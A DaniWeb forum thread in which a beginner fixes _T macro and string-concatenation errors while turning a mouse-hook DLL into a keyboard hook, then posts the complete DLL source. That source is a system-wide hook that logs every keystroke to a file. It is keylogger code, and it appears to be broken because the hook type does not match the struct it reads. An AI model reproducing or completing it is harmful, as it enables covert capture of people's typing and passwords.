Ok, straight to the point here's the code:

#define UWM_KEYBOARDHOOK_MSG \
	_T("UMW_KEYBOARDHOOK-" \
        "{B30856F0-D3DD-11d4-A00B-006067718D04}")

UWM_KEYBOARDHOOK = RegisterWindowMessage(UWM_KEYBOARDHOOK_MSG);

I put only 2 lines which makes the error
Compiler output

1>.\DLLMain.cpp(25) : error C3861: '_T': identifier not found

I tried to insert the _T to different places and search internet and it didn't lead to anything, and the code im writing is from http://www.codeproject.com/KB/DLL/hooks.aspx Im just converting the mouse hook to keyboard one.

_T macro is defined in tchar.h -- used for UNICODE compiles. When compiling with _UNICODE the _T macro converts char* to wchar_t*. When NOT compiling for _UNICODE the _T macro does nothing.

When compiling with _UNICODE the _T macro converts char* to wchar_t*. When NOT compiling for _UNICODE the _T macro does nothing.

This is wrong. The _T macro will actually convert a TCHAR to wchar_t (2 bytes) or to a char (single byte), based on the build (Unicode or MBCS). If you explicitly use a char or wchar_t instead of using TCHAR, then the _T macro cannot do anything about it.

The same applies to TCHAR* being converted to char* or wchar_t* based on the build.

Ok, straight to the point here's the code:

#define UWM_KEYBOARDHOOK_MSG \
	_T("UMW_KEYBOARDHOOK-" \
        "{B30856F0-D3DD-11d4-A00B-006067718D04}")

UWM_KEYBOARDHOOK = RegisterWindowMessage(UWM_KEYBOARDHOOK_MSG);

I put only 2 lines which makes the error
Compiler output

1>.\DLLMain.cpp(25) : error C3861: '_T': identifier not found

I tried to insert the _T to different places and search internet and it didn't lead to anything, and the code im writing is from http://www.codeproject.com/KB/DLL/hooks.aspx Im just converting the mouse hook to keyboard one.

You simply have to #include <tchar.h>

commented: Helped me, thanks +1

Now its solved, but I am getting another error

1>.\DLLMain.cpp(25) : error C2308: concatenating mismatched strings
Concatenating wide "UMW_KEYBOARDHOOK-" with narrow "{B30856F0-D3DD-11d4-A00B-006067718D04}"

I don't really know what that means as I took it from tutorial and modified a bit so it should work but it doesn't.

_T macro is defined in tchar.h -- used for UNICODE compiles. When compiling with _UNICODE the _T macro converts char* to wchar_t*. When NOT compiling for _UNICODE the _T macro does nothing.

OK, I slightly messed up my previous reply to that - could have been clearer. The macro is basically about how literal strings wrapped within the macro are treated, but I hope the idea was clear. :)

Now its solved, but I am getting another error

1>.\DLLMain.cpp(25) : error C2308: concatenating mismatched strings
Concatenating wide "UMW_KEYBOARDHOOK-" with narrow "{B30856F0-D3DD-11d4-A00B-006067718D04}"

I don't really know what that means as I took it from tutorial and modified a bit so it should work but it doesn't.

Just make it as a single string - _T("UMW_MOUSEHOOK-{B30856F0-D3DD-11d4-A00B-006067718D04}");

I'd also recommend that if you want to be writing a keyboard hook, learn it with the help of a keyboard hook, and not by trying to convert a mouse hook to a keyboard hook.

Yes I just converted the dll thing, but if you want to have a look what my dll looks like I put it here. I took the function to log keys from code snippets section. Main.h

#define UWM_KEYBOARDHOOK_MSG \
	_T("UMW_MOUSEHOOK-{B30856F0-D3DD-11d4-A00B-006067718D04}")

#include <windows.h>
#include <iostream>
#include <fstream>
#include <tchar.h>

using namespace std;

Main.cpp

#include "DLLMain.h"

#pragma data_seg(".SHAREDATA")
HWND hWndServer = NULL;
#pragma data_seg()
#pragma comment(linker, "/section:.SHAREDATA,rws")

HINSTANCE hInstance;
UINT UWM_KEYBOARDHOOK;
HHOOK hook;

static LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam);
__declspec(dllexport) BOOL WINAPI setMyHook(HWND hWnd);
__declspec(dllexport) BOOL clearMyHook(HWND hWnd);
ofstream out("keys.txt", ios::out);

BOOL DLLMain(HINSTANCE hInst, DWORD Reason, LPVOID reserved)
{
	switch(Reason)
	{

	case DLL_PROCESS_ATTACH:

		hInstance = hInst;
		UWM_KEYBOARDHOOK = RegisterWindowMessage(UWM_KEYBOARDHOOK_MSG);
		return TRUE;

	case DLL_PROCESS_DETACH:
		if(hWndServer != NULL)
			clearMyHook(hWndServer);
		return TRUE;

	}

}


__declspec(dllexport) BOOL WINAPI setMyHook(HWND hWnd)
{
	if(hWndServer != NULL)
		return FALSE;
	hook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)KeyboardHook, hInstance, 0);

	if (hook != NULL)
	{
		hWndServer = hWnd;
		return TRUE;
	}

	return FALSE;
}

__declspec(dllexport) BOOL clearMyHook(HWND hWnd)
{

	if(hWnd != hWndServer)
		return FALSE;
	
	BOOL unhooked = UnhookWindowsHookEx(hook);
	if(unhooked)
		hWndServer = NULL;
	return unhooked;
}


static LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

	// If key is being pressed

	if (wParam == WM_KEYDOWN) {
	switch (p->vkCode) {

 

		// Invisible keys

		case VK_CAPITAL: out << "<CAPLOCK>"; break;

		case VK_SHIFT: out << "<SHIFT>"; break;

		case VK_LCONTROL: out << "<LCTRL>"; break;

		case VK_RCONTROL: out << "<RCTRL>"; break;

		case VK_INSERT: out << "<INSERT>"; break;

		case VK_END: out << "<END>"; break;

		case VK_PRINT: out << "<PRINT>"; break;

		case VK_DELETE: out << "<DEL>"; break;

		case VK_BACK: out << "<BK>"; break;

 

		case VK_LEFT: out << "<LEFT>"; break;

		case VK_RIGHT: out << "<RIGHT>"; break;

		case VK_UP: out << "<UP>"; break;

		case VK_DOWN: out << "<DOWN>"; break;

 

		// Visible keys

		default:

		out << char(tolower(p->vkCode));

 

		}

	}
 
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

If you see anything wrong in that tell please as I am very beginner in these windows things. I used codeproject as reference.

Are you still trying to figure this out?!

Why don't you just download the sample provided in the codproject article (which has an executable that loads a DLL)?

PS: Do not PM me your programming queries. I'll simply ignore it.

Yes I am still trying to figure this out. Yes I have downloaded the sample which is useless as its mouse hook, I have already managed to use the DLL if you haven't bothered to read as I got new thread considering the thing why hook doesn't activate.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.